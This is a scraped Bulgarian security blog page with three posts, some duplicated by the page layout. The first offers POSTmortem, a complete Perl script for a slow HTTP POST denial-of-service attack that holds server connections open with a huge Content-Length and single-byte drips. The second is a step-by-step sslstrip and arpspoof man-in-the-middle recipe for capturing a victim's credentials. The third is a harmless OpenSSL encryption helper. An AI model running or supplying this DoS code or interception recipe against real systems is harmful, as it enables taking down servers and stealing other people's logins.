След като чух за атаката slowloris и в последствие за вариация при която се атакува пост заявката (което носи IIS bonus).
Започнах да издирвам начин за практическа проверка на атаката. Това доведе до откриването на rudy (R-U-Dead-Yet) който обаче се оказа твърде бъгъв и зле написан за да доведе до реални резултати.
За радост обаче аз не мога да пиша на perl което задължително означаваше, че ще опитам. Резултата е POSTmortem.
Употребата на всичко в поста и целия блог а и целия свят си е на ваша отговорност! Ако това ще ви накара да си мислите по-хубави неща за мен ... е тогава публикацията е от чисто научен характер и няма за цел да събори някой сървър.
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use threads;
my $host = "хоста за тест";
my $port = 80;
my $tcpto = 5;
my $post = "action скрипта който обработва пост заявката";
my $sock;
my $attack_param = "пост параметъра който ще тестваме";
my $a = 0;
my $i = 1;
my $num = 2; #брой нишки и съответно конекции (всяка яде по 1М рам)
my @thrs;
while ( $i < $num ) {
print "Spawning thread: $i\n";
$thrs[$i] = threads->create( \&conn);
sleep 18; #интервал между събуждането на нова нишка
$i++;
}
print "waiting for threads to finish";
map {my $k = $_->join} threads->list;
sub conn {
my $primarypayload =
"POST /$post HTTP/1.1\r\n"
. "Host: $host\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 100000000\r\n" #колкото повече толкова повече
. "Connection: keep-alive\r\n"
. "Cookie: ако се налага(формата е: нещо=нещо; нещо2=нещо–друго)\r\n"
. "\r\n"
. "$attack_param=\r\n";
if (
$sock = new IO::Socket::INET(
# LocalAddr => "$laddr",
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
print $sock "$primarypayload";
print "[-]Header Send!\n";
}
else {
print "[*]Error - Cannot create socket!\n";
}
while(1) {
sleep 10; #през колко време ще му пращаме по капка
print $sock "x"; #капката
}
}
EOF
TODO
ако на някой му се занимава може да го направи да приема опциите от командния ред за да не се рови из кода и да напише всяка нишка да буди по повече от 1 конекция.
Показват се публикациите с етикет security. Показване на всички публикации
Показват се публикациите с етикет security. Показване на всички публикации
четвъртък, 21 април 2011 г.
sslstrip
Всичко написано в този пост се ползва на собствена отговорност и никой освен Вас няма да е виновен ако си счупите главата!(и като стана дума, това важи за информацията в целия блог)
Този пост е вдъхновен от пост на колегата Singu в http://chzv.net.
По-точно този пост http://chzv.net/security/sslstrip-over-wifi
Тук ще си говорим за по-различен случай при който дали атаката е върху wifi или не няма значение.
Целта е да се хваща стрипнат от ssl криптация поток от информация.
Ето упътване стъпка по стъпка:
1. Сваляме и разпакетираме инструмента - sslstrip:
# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
# tar zxvf sslstrip-0.7.tar.gz
Тук е момента да се чувствате като дете което отваря коледен подарък :)
2. Настройки на системата, рутиране и sslstrip
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# python sslstrip.py -f -w sslcreds-captured
пренасочваме целят идващ трафик на порт 80 към порт 10000 (дефолтния порт за sslstrip и пускаме sslstrip да записва каквото си е намерил във файла sslcreds-captured
3. Време за отрова
# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254
където 192.168.0.141 е жертвата а 192.168.0.254 - gateway-ят
4. Чакаме
5. Четем файла sslcreds-captured
Какво ли има там ?!
Този пост е вдъхновен от пост на колегата Singu в http://chzv.net.
По-точно този пост http://chzv.net/security/sslstrip-over-wifi
Тук ще си говорим за по-различен случай при който дали атаката е върху wifi или не няма значение.
Целта е да се хваща стрипнат от ssl криптация поток от информация.
Ето упътване стъпка по стъпка:
1. Сваляме и разпакетираме инструмента - sslstrip:
# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
# tar zxvf sslstrip-0.7.tar.gz
Тук е момента да се чувствате като дете което отваря коледен подарък :)
2. Настройки на системата, рутиране и sslstrip
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# python sslstrip.py -f -w sslcreds-captured
пренасочваме целят идващ трафик на порт 80 към порт 10000 (дефолтния порт за sslstrip и пускаме sslstrip да записва каквото си е намерил във файла sslcreds-captured
3. Време за отрова
# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254
където 192.168.0.141 е жертвата а 192.168.0.254 - gateway-ят
4. Чакаме
5. Четем файла sslcreds-captured
Какво ли има там ?!
вторник, 19 април 2011 г.
Криптиране от команден (bash скрипт) ред в Linux
наскоро ми трябваше сигурен начин да криприрам информацията с която един bash скрип работи. Това което намерих са следните функции:
function encrypt {
if [ -n "$1" ]; then
openssl aes-256-cbc -a -salt -in "$1" -out "$1.enc"
else
openssl aes-256-cbc -a -salt
fi
}
function decrypt {
if [ -n "$1" ]; then
openssl aes-256-cbc -a -d -in "$1" -out "${1%\.enc}" else
openssl aes-256-cbc -a -d
fi
}
разбира се може да се ползват и други алгоритми не само aes-256-cbc
ако поставим горните редове в .bashrc ще имаме възможност да изпълняваме команди от типа на:
за криптиране на архив
tar -czf - *|encrypt > allfiles.tgz.enc
за декриптиране
decrypt allfiles.tgz.enc
за декриптиране и разархивиране
cat allfiles.tgz.enc|dectypt|tar -xzf -
function encrypt {
if [ -n "$1" ]; then
openssl aes-256-cbc -a -salt -in "$1" -out "$1.enc"
else
openssl aes-256-cbc -a -salt
fi
}
function decrypt {
if [ -n "$1" ]; then
openssl aes-256-cbc -a -d -in "$1" -out "${1%\.enc}" else
openssl aes-256-cbc -a -d
fi
}
разбира се може да се ползват и други алгоритми не само aes-256-cbc
ако поставим горните редове в .bashrc ще имаме възможност да изпълняваме команди от типа на:
за криптиране на архив
tar -czf - *|encrypt > allfiles.tgz.enc
за декриптиране
decrypt allfiles.tgz.enc
за декриптиране и разархивиране
cat allfiles.tgz.enc|dectypt|tar -xzf -
Абонамент за:
Публикации (Atom)